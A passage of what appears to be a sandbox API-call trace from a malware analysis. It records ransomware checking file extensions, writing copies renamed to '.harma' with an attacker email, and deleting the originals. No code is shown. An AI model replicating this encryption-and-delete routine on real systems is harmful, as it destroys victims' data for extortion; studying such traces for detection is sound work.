lstrlenW (lpString=".rar") returned 4 [0144.514] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.514] lstrlenW (lpString=".bz2") returned 4 [0144.514] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.514] lstrlenW (lpString=".7z") returned 3 [0144.514] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0144.514] lstrlenW (lpString=".dbf") returned 4 [0144.514] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0144.514] lstrlenW (lpString=".1cd") returned 4 [0144.514] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0144.514] lstrlenW (lpString=".jpg") returned 4 [0144.514] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.514] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0144.514] lstrlenW (lpString="BD19828_.WMF") returned 12 [0144.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0144.515] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=8772) returned 1 [0144.515] CloseHandle (hObject=0x2e8) returned 1 [0144.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x20 [0144.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0144.516] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.516] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0144.517] GetLastError () returned 0x0 [0144.517] ReadFile (in: hFile=0x2e8, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x2244, lpOverlapped=0x0) returned 1 [0144.807] WriteFile (in: hFile=0x350, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x2250, lpOverlapped=0x0) returned 1 [0144.808] ReadFile (in: hFile=0x2e8, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.808] WriteFile (in: hFile=0x350, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.809] SetEndOfFile (hFile=0x350) returned 1 [0144.809] CloseHandle (hObject=0x350) returned 1 [0144.809] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.809] SetEndOfFile (hFile=0x2e8) returned 1 [0144.812] CloseHandle (hObject=0x2e8) returned 1 [0144.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.819] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 1 [0144.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0144.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0144.819] lstrlenW (lpString=".doc") returned 4 [0144.819] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.819] lstrlenW (lpString=".docx") returned 5 [0144.819] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.820] lstrlenW (lpString=".pdf") returned 4 [0144.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.820] lstrlenW (lpString=".xls") returned 4 [0144.820] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.820] lstrlenW (lpString=".xlsx") returned 5 [0144.820] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.820] lstrlenW (lpString=".ppt") returned 4 [0144.820] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0144.820] lstrlenW (lpString=".zip") returned 4 [0144.820] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.820] lstrlenW (lpString=".rar") returned 4 [0144.820] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.820] lstrlenW (lpString=".bz2") returned 4 [0144.820] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.820] lstrlenW (lpString=".7z") returned 3 [0144.820] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0144.820] lstrlenW (lpString=".dbf") returned 4 [0144.820] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0144.820] lstrlenW (lpString=".1cd") returned 4 [0144.820] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0144.820] lstrlenW (lpString=".jpg") returned 4 [0144.820] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0144.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0144.821] lstrlenW (lpString=".doc") returned 4 [0144.821] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.821] lstrlenW (lpString=".docx") returned 5 [0144.821] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.821] lstrlenW (lpString=".pdf") returned 4 [0144.821] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.821] lstrlenW (lpString=".xls") returned 4 [0144.821] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.821] lstrlenW (lpString=".xlsx") returned 5 [0144.821] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.821] lstrlenW (lpString=".ppt") returned 4 [0144.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0144.821] lstrlenW (lpString=".zip") returned 4 [0144.821] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.821] lstrlenW (lpString=".rar") returned 4 [0144.821] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.821] lstrlenW (lpString=".bz2") returned 4 [0144.821] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.821] lstrlenW (lpString=".7z") returned 3 [0144.821] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0144.822] lstrlenW (lpString=".dbf") returned 4 [0144.822] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0144.822] lstrlenW (lpString=".1cd") returned 4 [0144.822] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0144.822] lstrlenW (lpString=".jpg") returned 4 [0144.822] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.822] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0144.822] lstrlenW (lpString="BL00130_.WMF") returned 12 [0144.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0144.832] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1464) returned 1 [0144.832] CloseHandle (hObject=0x2e8) returned 1 [0144.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x20 [0144.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0144.833] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.833] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0144.834] GetLastError () returned 0x0 [0144.834] ReadFile (in: hFile=0x2e8, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x5b8, lpOverlapped=0x0) returned 1 [0144.836] WriteFile (in: hFile=0x350, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0144.837] ReadFile (in: hFile=0x2e8, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.837] WriteFile (in: hFile=0x350, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.838] SetEndOfFile (hFile=0x350) returned 1 [0144.838] CloseHandle (hObject=0x350) returned 1 [0144.838] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.838] SetEndOfFile (hFile=0x2e8) returned 1 [0144.841] CloseHandle (hObject=0x2e8) returned 1 [0144.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.841] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 1 [0144.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0144.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0144.842] lstrlenW (lpString=".doc") returned 4 [0144.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.842] lstrlenW (lpString=".docx") returned 5 [0144.842] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.842] lstrlenW (lpString=".pdf") returned 4 [0144.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.842] lstrlenW (lpString=".xls") returned 4 [0144.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.842] lstrlenW (lpString=".xlsx") returned 5 [0144.842] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.843] lstrlenW (lpString=".ppt") returned 4 [0144.843] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0144.843] lstrlenW (lpString=".zip") returned 4 [0144.843] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.843] lstrlenW (lpString=".rar") returned 4 [0144.843] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.843] lstrlenW (lpString=".bz2") returned 4 [0144.843] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.843] lstrlenW (lpString=".7z") returned 3 [0144.843] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0144.843] lstrlenW (lpString=".dbf") returned 4 [0144.843] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0144.843] lstrlenW (lpString=".1cd") returned 4 [0144.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0144.843] lstrlenW (lpString=".jpg") returned 4 [0144.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0144.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0144.843] lstrlenW (lpString=".doc") returned 4 [0144.844] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.844] lstrlenW (lpString=".docx") returned 5 [0144.844] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.844] lstrlenW (lpString=".pdf") returned 4 [0144.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.844] lstrlenW (lpString=".xls") returned 4 [0144.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.844] lstrlenW (lpString=".xlsx") returned 5 [0144.844] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.844] lstrlenW (lpString=".ppt") returned 4 [0144.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0144.844] lstrlenW (lpString=".zip") returned 4 [0144.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.844] lstrlenW (lpString=".rar") returned 4 [0144.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.844] lstrlenW (lpString=".bz2") returned 4 [0144.844] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.844] lstrlenW (lpString=".7z") returned 3 [0144.844] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0144.844] lstrlenW (lpString=".dbf") returned 4 [0144.844] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0144.844] lstrlenW (lpString=".1cd") returned 4 [0144.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0144.845] lstrlenW (lpString=".jpg") returned 4 [0144.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.161] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0145.161] lstrlenW (lpString="BL00148_.WMF") returned 12 [0145.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0145.405] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1696) returned 1 [0145.405] CloseHandle (hObject=0x328) returned 1 [0145.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x20 [0145.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0145.490] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.490] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0145.491] GetLastError () returned 0x0 [0145.491] ReadFile (in: hFile=0x330, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x6a0, lpOverlapped=0x0) returned 1 [0145.504] WriteFile (in: hFile=0x35c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x6b0, lpOverlapped=0x0) returned 1 [0145.505] ReadFile (in: hFile=0x330, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.505] WriteFile (in: hFile=0x35c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.505] SetEndOfFile (hFile=0x35c) returned 1 [0145.509] CloseHandle (hObject=0x35c) returned 1 [0145.509] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.509] SetEndOfFile (hFile=0x330) returned 1 [0145.511] CloseHandle (hObject=0x330) returned 1 [0145.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.519] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) returned 1 [0145.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0145.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0145.519] lstrlenW (lpString=".doc") returned 4 [0145.519] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.520] lstrlenW (lpString=".docx") returned 5 [0145.520] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.520] lstrlenW (lpString=".pdf") returned 4 [0145.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.520] lstrlenW (lpString=".xls") returned 4 [0145.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.520] lstrlenW (lpString=".xlsx") returned 5 [0145.520] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.520] lstrlenW (lpString=".ppt") returned 4 [0145.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0145.520] lstrlenW (lpString=".zip") returned 4 [0145.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.520] lstrlenW (lpString=".rar") returned 4 [0145.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.520] lstrlenW (lpString=".bz2") returned 4 [0145.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.520] lstrlenW (lpString=".7z") returned 3 [0145.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0145.520] lstrlenW (lpString=".dbf") returned 4 [0145.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0145.520] lstrlenW (lpString=".1cd") returned 4 [0145.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0145.520] lstrlenW (lpString=".jpg") returned 4 [0145.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0145.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0145.520] lstrlenW (lpString=".doc") returned 4 [0145.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.520] lstrlenW (lpString=".docx") returned 5 [0145.521] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.521] lstrlenW (lpString=".pdf") returned 4 [0145.521] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.521] lstrlenW (lpString=".xls") returned 4 [0145.521] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.521] lstrlenW (lpString=".xlsx") returned 5 [0145.521] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.521] lstrlenW (lpString=".ppt") returned 4 [0145.521] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0145.521] lstrlenW (lpString=".zip") returned 4 [0145.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.521] lstrlenW (lpString=".rar") returned 4 [0145.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.521] lstrlenW (lpString=".bz2") returned 4 [0145.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.521] lstrlenW (lpString=".7z") returned 3 [0145.521] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0145.521] lstrlenW (lpString=".dbf") returned 4 [0145.521] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0145.521] lstrlenW 